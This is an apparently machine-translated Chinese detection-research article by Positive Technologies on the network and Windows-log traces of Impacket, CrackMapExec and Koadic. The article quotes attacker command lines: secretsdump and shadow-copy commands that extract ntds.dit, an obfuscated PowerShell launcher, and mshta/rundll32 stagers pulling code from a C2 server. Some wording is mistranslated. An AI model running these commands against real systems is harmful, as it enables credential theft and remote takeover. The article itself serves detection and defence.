
公司部门的攻击数量每年都在增长:例如,
2017年记录的独特事件比2016年
多13% ,到2018年底,
记录的 事件比上年同期
多27% 。 包括那些主要工作工具是Windows操作系统的工具。 在2017-2018年间,APT蜻蜓,APT28,
APT MuddyWater团体袭击了欧洲,北美和沙特阿拉伯的政府和军事组织。 他们为此使用了三个工具
-Impacket ,
CrackMapExec和
Koadic 。 他们的源代码是开放的,可以在GitHub上获得。
值得注意的是,这些工具不是用于最初的渗透,而是用于基础设施内部攻击的发展。 攻击者在克服外围之后,会在攻击的不同阶段使用它们。 顺便说一句,这很难检测到,并且通常只能借助技术来
识别网络流量受到损害的痕迹,或者可以
在攻击者侵入基础设施后检测攻击者的活动的工具。 这些工具提供了许多功能-从传输文件到与注册表交互以及在远程计算机上执行命令。 我们对这些工具进行了研究,以确定它们的网络活动。
我们需要做的是:
- 了解黑客工具的工作原理 。 找出攻击者需要进行哪些操作以及可以使用哪些技术。
- 查找在攻击的第一阶段信息安全工具未检测到的内容 。 可以跳过情报阶段,因为攻击者是内部攻击者,或者因为攻击者利用了以前未知的基础结构中的漏洞。 有机会恢复他的整个动作链,从而渴望发现进一步的动作。
- 消除入侵检测工具的误报 。 我们决不能忘记,仅凭情报来发现某些行动时,经常会出现错误。 通常,在基础结构中,有足够多的方法(乍一看与合法用户没有区别)来获取任何信息。
这些工具给攻击者带来了什么? 如果这是Impacket,则攻击者在突破边界后将获得一个庞大的模块库,可以在攻击的不同阶段使用它们。 许多工具内部都使用了Impacket模块-例如Metasploit。 它具有dcomexec和wmiexec用于远程命令执行,还有secretsdump用于从Impacket添加的内存中检索帐户。 结果,还将通过检测衍生物来确保正确检测这种文库的活性。
关于CrackMapExec(或简称CME),创建者偶然地写了“ Powered by Impacket”。 此外,CME还具有针对流行情况的现成功能:这是Mimikatz,用于接收密码或哈希值,以及用于远程执行的Meterpreter或Empire代理的实现,以及Bloodhound。
我们选择的第三个工具是Koadic。 它非常新鲜,在2017年的DEFCON 25国际黑客大会上进行了介绍,它具有非标准方法:通过HTTP,Java Script和Microsoft Visual Basic Script(VBS)进行工作。 这种方法被称为“脱离陆地”:该工具使用Windows中内置的一组依赖项和库。 创建者将其称为COM命令控件或C3。
冲击
Impacket的功能非常广泛,从在AD内部进行侦查并从内部MS SQL服务器收集数据开始,最后以获取凭据的技术结束:这是SMB中继攻击,并且从域控制器接收包含用户密码哈希的ntds.dit文件。 Impacket还使用四种不同的方法远程执行命令:通过WMI,一种用于管理Windows调度程序,DCOM和SMB的服务,为此,它需要凭据。
秘密转储
让我们看一下secretsdump。 这是一个既可以用作用户计算机又可以用作域控制器的模块。 使用它,您可以获得LSA,SAM,SECURITY和NTDS.dit内存区域的副本,因此可以在攻击的不同阶段看到它。 模块操作的第一步是通过SMB进行身份验证,这需要用户密码或其哈希来自动进行“通过哈希”攻击。 接下来的请求是打开对服务控制管理器(SCM)的访问,并使用Winreg协议获得对注册表的访问权限,攻击者可使用该协议找到自己感兴趣的分支机构的数据,并通过SMB获得结果。
在图。 从图1中可以看到,使用Winreg协议访问时,如何通过LSA的注册密钥获得确切的信息。 为此,请对操作码15-OpenKey使用DCERPC命令。
图 1.使用winreg协议打开注册表项此外,当获得键访问权限时,使用带有操作码20的SaveKey命令保存值。Impacket使其非常具体。 它将值保存到文件中,该文件的名称是8个随机字符的字符串,并带有.tmp。 此外,还会通过SMB从System32目录中进一步卸载此文件(图2)。
图 2.从远程计算机获取注册表项的方案事实证明,您可以通过使用Winreg协议,特定名称,命令及其顺序查询某些注册表分支来检测网络上的此类活动。
此模块还将痕迹保留在Windows事件日志中,因此很容易检测到它。 例如,作为命令的结果
secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC
在Windows Server 2016日志中,我们将看到以下关键事件序列:
1. 4624-远程登录。
2. 5145-验证对远程winreg服务的访问权限。
3. 5145-检查System32目录中的文件权限。 该文件具有上述随机名称。
4. 4688-创建启动vssadmin的cmd.exe进程:
“C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & c:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
5. 4688-使用以下命令创建进程:
"C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & c:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
6. 4688-使用以下命令创建进程:
"C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\NTDS\ntds.dit %SYSTEMROOT%\Temp\rmumAfcn.tmp ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & c:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
7. 4688-使用以下命令创建进程:
"C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & c:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
Smbexec
像许多开发后的工具一样,Impacket具有用于远程命令执行的模块。 我们将专注于smbexec,它在远程计算机上提供了一个交互式shell。 该模块还要求使用密码或其哈希值进行SMB身份验证。 在图。 3,我们看到了这样一个工具如何工作的示例,在这种情况下,它是一个本地管理员控制台。
图 3. Smbexec交互式控制台验证后,smbexec中的第一步是使用OpenSCManagerW命令(15)打开SCM。 该请求值得注意:在其中,MachineName字段设置为DUMMY。
图 4.请求打开服务控制管理器接下来,使用CreateServiceW(12)命令创建服务。 对于smbexec,我们每次都能看到相同的团队建设逻辑。 在图。 5绿色表示命令的不变参数,黄色表示攻击者可以更改的内容。 很容易注意到可执行文件的名称,其目录和输出文件可以更改,但是在不违反Impacket模块的逻辑的情况下,更改其余文件的难度将更大。
图 5.请求使用服务控制管理器创建服务Smbexec还在Windows事件日志中留下清晰的痕迹。 在使用ipconfig命令的交互式外壳程序的Windows Server 2016日志中,我们将看到以下关键事件序列:
1. 4697-在受害者的机器上安装服务:
%COMSPEC% /Q /c echo cd ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
2. 4688-使用第1段中的参数创建cmd.exe进程。
3. 5145-检查C $目录中__output文件的权限。
4. 4697-在受害者的机器上安装服务。
%COMSPEC% /Q /c echo ipconfig ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
5. 4688-使用第4段中的参数创建cmd.exe进程。
6. 5145-检查对C $目录中__output文件的访问权限。
Impacket是开发攻击工具的基础。 它支持Windows基础结构中的几乎所有协议,同时具有自己的特征。 这是特定的winreg请求,以及具有特征性命令格式的SCM API的使用,文件名格式以及SMB共享SYSTEM32。
裂纹图执行
CME工具的设计主要是为了使攻击者必须执行的常规动作才能自动进入网络。 它使您可以与臭名昭著的Empire代理和Meterpreter一起工作。 要秘密执行命令,CME可以对其进行混淆。 使用Bloodhound(单独的情报工具),攻击者可以自动搜索活动的域管理员会话。
猎犬
猎犬是一种独立的工具,可在网络内提供高级智能。 它收集有关用户,计算机,组,会话的数据,并以PowerShell上脚本或二进制文件的形式出现。 基于LDAP或SMB的协议用于收集信息。 通过CME集成模块,您可以将Bloodhound下载到受害者的机器上,并在执行后运行并接收所收集的数据,从而使系统中的操作自动化并使其不那么引人注意。 图形化外壳Bloodhound以图形形式显示收集的数据,使您可以找到从攻击机到域管理员的最短路径。
图 6.猎犬接口为了在受害者的计算机上运行,该模块使用ATSVC和SMB创建任务。 ATSVC是用于Windows Task Scheduler的界面。 CME使用其NetrJobAdd(1)函数通过网络创建任务。 CME模块发送的内容的示例在图5中显示。 7:这是对cmd.exe的调用,并将混淆的代码作为XML格式的参数进行调用。
图7。 通过CME创建任务任务完成后,受害者的机器会自行启动Bloodhound,这可以在交通中看到。 该模块的特点是LDAP查询,用于接收标准组,域中所有计算机和用户的列表,并通过SRVSVC NetSessEnum请求接收有关活动用户会话的信息。
图 8.通过SMB获取活动会话的列表此外,在启用了审核的受害者的计算机上启动Bloodhound时,会出现ID 4688(进程创建)和进程名称
«C:\Windows\System32\cmd.exe»
。 值得注意的是命令行参数:
cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "
Enum_avproducts
从功能和实现的角度来看,enum_avproducts模块非常有趣。 WMI允许使用WQL查询语言从各种Windows对象接收数据,这实际上是此CME模块使用的数据。 它将向AntiSpywareProduct和AntiMirusProduct类生成有关受害者计算机上安装的保护的请求。 为了获取必要的数据,该模块连接到根\ SecurityCenter2命名空间,然后生成WQL查询并接收响应。 在图。 图9显示了此类请求和响应的内容。 在我们的示例中,找到了Windows Defender。
图 9. enum_avproducts模块的网络活动通常,可能会关闭WMI审核(跟踪WMI活动),在该事件中您可以找到有关WQL查询的有用信息。 但是,如果打开了该脚本,则如果运行enum_avproducts脚本,则将保存ID为11的事件,该事件将包含发送请求的用户的名称以及root \ SecurityCenter2命名空间中的名称。
每个CME模块都揭示了它们自己的工件,无论是特定的WQL查询还是在任务计划程序中创建某种类型的任务(带有混淆)以及LDAP和SMB中Bloodhound的典型活动。
科迪奇
Koadic的一个独特功能是使用内置的Windows解释器JavaScript和VBScript。 从这个意义上讲,它遵循了远离土地生活的趋势-也就是说,它没有外部依赖关系,并且使用标准Windows工具。 这是用于完全命令和控制(CnC)的工具,因为感染后,在机器上安装了“植入物”,可以对其进行控制。 用Koadic术语来说,这种机器被称为“僵尸”。 由于缺乏在受害者方面进行全面工作的特权,Koadic能够使用UAC绕过技术来提高他们的能力。
图 10. Command Shell Koadic受害者必须启动与Command&Control服务器本身的通信。 为此,她需要申请预先准备的URI,并使用其中一个登台者来获得Koadic主体。 在图。 图11显示了mshta登台程序的示例。
图 11.初始化与CnC服务器的会话使用响应变量WS,很明显可以通过WScript.Shell执行执行,变量STAGER,SESSIONKEY,JOBKEY,JOBKEYPATH,EXPIRE包含有关当前会话参数的关键信息。 这是到CnC服务器的HTTP连接中的第一个请求-响应对。 后续请求与被调用模块(植入物)的功能直接相关。 所有Koadic模块仅在与CnC进行活动会话时才起作用。
米米卡茨
就像CME与Bloodhound合作一样,Koadic与Mimikatz合作也是一个独立程序,并且有几种运行方式。 以下是用于加载Mimikatz植入物的请求-响应对。
图 12. Mimikatz转移到Koadic您可能会注意到请求中的URI格式已更改。 其中出现了csrf变量的值,该变量负责所选模块。 不要注意她的名字; 我们都知道,对CSRF的理解通常不同。 作为响应,出现了Koadic的同一主体,其中添加了与Mimikatz相关的代码。 它足够大,因此请考虑关键点。 我们面前有base64编码的Mimikatz库,将其注入的序列化.NET类以及运行Mimikatz的参数。 执行结果通过网络以明文形式传输。
图 13.在远程计算机上运行Mimikatz的结果Exec_cmd
Koadic还具有可以远程执行命令的模块。 在这里,我们将看到生成URI的相同方法以及熟悉的变量sid和csrf。 对于exec_cmd模块,将代码添加到能够执行Shell命令的主体中。 以下代码显示在CnC服务器的HTTP响应中。
图 14.植入代码exec_cmd执行代码需要具有熟悉的WS属性的GAWTUUGCFI变量。 在其帮助下,植入程序调用Shell,处理两个代码分支-shell.exec,返回输出数据流,而shell.run不返回。
Koadic不是一种典型的工具,但是它具有自己的工件,可以通过它们在合法流量中找到它:
- HTTP请求的特殊格式,
- 使用winHttpRequests API,
- 通过ActiveXObject创建WScript.Shell对象,
- 大型可执行文件。
初始连接将启动暂存器,因此可以通过Windows事件检测其活动。 对于mshta,这是事件4688,该事件讨论如何创建具有启动属性的进程:
C:\Windows\system32\mshta.exe http://192.168.211.1:9999/dXpT6
在执行Koadic的过程中,您可以看到其他4688个事件,这些事件具有完美地表征其特征:
rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;\..\..\..\mshtml,RunHTMLApplication rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;\..\..\..\mshtml,RunHTMLApplication "C:\Windows\system32\cmd.exe" /q /c chcp 437 & net session 1> C:\Users\user02\AppData\Local\Temp\6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1 "C:\Windows\system32\cmd.exe" /q /c chcp 437 & ipconfig 1> C:\Users\user02\AppData\Local\Temp\721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1
结论
以陆地为生的趋势在入侵者中越来越受欢迎。 他们使用内置的Windows工具和机制来满足他们的需求。 我们看到如何在APT报告中越来越多地发现遵循此原理的流行Koadic,CrackMapExec和Impacket工具。 GitHub上用于这些工具的分支的数量也在增加,出现了新的分支(现在已经有大约一千个)。 由于其简单性,这种趋势越来越流行:攻击者不需要第三方工具,他们已经在受害者的计算机上,可以绕过保护工具。 我们专注于研究网络连通性:上述每个工具都在网络流量上留下了印记; 对它们的详细研究使我们可以教我们的产品
PT网络攻击发现来检测它们,最终有助于调查涉及他们的整个网络事件链。
作者 :
- Positive Technologies PT专家安全中心专家服务主管Anton Tyurin
- 积极技术PT专家安全中心专家Egor Podmokov